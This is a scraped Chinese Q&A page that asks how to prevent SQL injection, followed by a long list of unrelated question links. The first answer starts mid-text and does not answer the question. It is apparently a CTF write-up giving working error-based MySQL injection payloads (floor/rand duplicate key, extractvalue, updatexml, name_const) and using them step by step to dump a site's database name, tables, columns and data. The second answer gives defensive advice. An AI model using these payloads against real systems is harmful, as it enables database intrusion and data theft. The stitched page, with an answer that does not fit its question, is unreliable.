问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

怎么样防止sql注入,地址栏出错后转到错误页面

发布网友 发布时间:2022-04-07 21:31

我来回答

2个回答

懂视网 时间:2022-04-08 01:53

      这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了:P

      公式:username=admin‘ and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and ‘1‘ = ‘1

    第二种: XPATH爆信息

      这里主要用到的是ExtractValue()和UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后

      查看sql手册

      语法:EXTRACTVALUE (XML_document, XPath_string);       

          第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc           第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。           作用:从目标XML中返回包含所查询值的字符串              语法:UPDATEXML (XML_document, XPath_string, new_value);           第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc           第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。           第三个参数:new_value,String格式,替换查找到的符合条件的数据           作用:改变文档中符合条件的节点的值       现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用       公式1:username=admin‘ and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and ‘1‘=‘1       公式2:username=admin‘ and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and ‘1‘=‘1     第三种: 重复列爆信息(对于这种方法,我在本地数据库上有试验成功,但是对于下面那道并没有什么作用,就不仔细说明了)       带上代码:       payload  id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)   0x02  应用     上面说了那么多,让我们来应用一下吧,基于这道题目     首先我们来爆出他的数据库名   结果:r0866cplushua username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select database()))x from information_schema.tables group by x )a) and ‘1‘ = ‘1     然后爆他的数据库版本  结果:5.1.61-Alibaba-rds-201404-log username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select version()))x from information_schema.tables group by x )a) and ‘1‘ = ‘1     接着爆他的表名   结果:log    motto   user  这里需要一条一条爆 username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.tables where table_schema = ‘r0866cplushua‘ limit 0,1))x from information_schema.tables group by x )a) and ‘1‘ = ‘1     然后再爆他的列名  结果:id  username  motto(这里我一开始试的是user表但是数据并没有我们想要的,所以换了motto,也需要一条一条的爆) username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.columns where table_name=‘motto‘ and table_schema = ‘r0866cplushua‘ limit 0,1))x from information_schema.tables group by x )a) and ‘1‘ = ‘1     最后就是爆数据了   结果:key#notfound!#    (这里我使用了XPATH爆数据,因为不知道什么原因用第一种方法暴不出来) username=admin%27%20and%20(extractvalue(1,%20concat(0x7e,(SELECT%20concat(username,0x3a,motto)%20FROM%20motto%20limit%203,1))))%20and%20%271%27=%271     到了这里这道题目就算是做出来了。由于撸主刚刚学起上面如果有什么错误,请路过的大牛指正谢谢,同时也希望大牛们可以分享一些其他的注错方法。  

基于错误回显的sql注入整理

标签:

热心网友 时间:2022-04-07 23:01

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
防护
归纳一下,主要有以下几点:
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或*长度;对单引号和
双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
华为手机删除qq聊天记录还能恢复吗 曙光英雄怎么登录以前的账号,曙光英雄曙光英雄客户端在哪里下载? 曙光英雄怎么注销账号 详细注销方法分享 曙光英雄怎么注销账号-账号注销方法介绍 六大茶类之青茶知识大科普 六大茶类香气类型之青茶(乌龙茶)茶香 六大茶类之青茶 简单认识六大茶类之青茶 一文带你全面认识六大茶类中的青茶,速来围观 识茶笔记:六大茶类之青茶篇 震动安全套怎么用 调音台怎样关闭延迟 用的创新5.1声卡MX6调音台 群里语音聊天能听见回音 让我关闭内放 我不知道如何关 能否告诉我关哪个? ROSE SM6调音台怎么关闭原声 音箱 调音台 应该先开哪个?或者先关哪个?谢谢 功放 调音台 应该先开哪个?或者先关哪个?谢谢 调音台上的AEL按钮怎样才是关闭 哪位高手知道音箱设备中!调音台,功放和电源的依此开启和关闭顺序是什么? 调音台和音响关闭顺序错了 调音台Qu-24sel按钮如何关闭 在407猛鬼航班中空姐都怎么死的?(开头没敢看的说) 关于空姐 有关航空空姐的许多问题、 一天一瓶茅台酒,买飞机选空姐耗资上亿,豪横的赵本山如今后悔不后悔? 有人说服务头等舱的空姐一般会比服务经济舱的年轻漂亮,为什么会这样? 我印象中当年王力宏不承认跟某航空公司空姐谈恋爱有没有这回事? 讲航空公司或空姐的电影求知道的大神发发给我! 这是哪个航空公司的空姐? 哪些女明星出道前曾是空姐? 光猫的设置方法 大疆无人机3感光度怎么调 我想申请一个怎么申请的 如何收蒜头? 给姓雒的女孩取四个字的名字,其中要有带竹的字。 2013年农历6月18日20点34分的姓雒的女宝宝根据五行缺什么补什么叫什么名字为好 取名改名 幸存者危城图纸是永久的吗 雒姓全国排行为多少? 雒姓和罗姓有什么联系吗? 山西一女子实名举报县税务局*作风*,这名*是否已经开始接受调查? 2011感动中国人物颁奖词 2011年度感动中国十大人物事迹及颁奖词 2011年度感动中国十佳人物的颁奖词?急。急。急! 2011年感动中国十大人物的名字和颁奖词、获奖名片 2011感动中国十大人物颁奖词 2011 2012感动中国十大人物颁奖词 2011年感动中国十大人物事迹及颁奖词 2011感动中国十大人物及颁奖词 2011年感动中国人物颁奖词(2012年2月3日播出的) 2011感动中国人物事迹及颁奖词?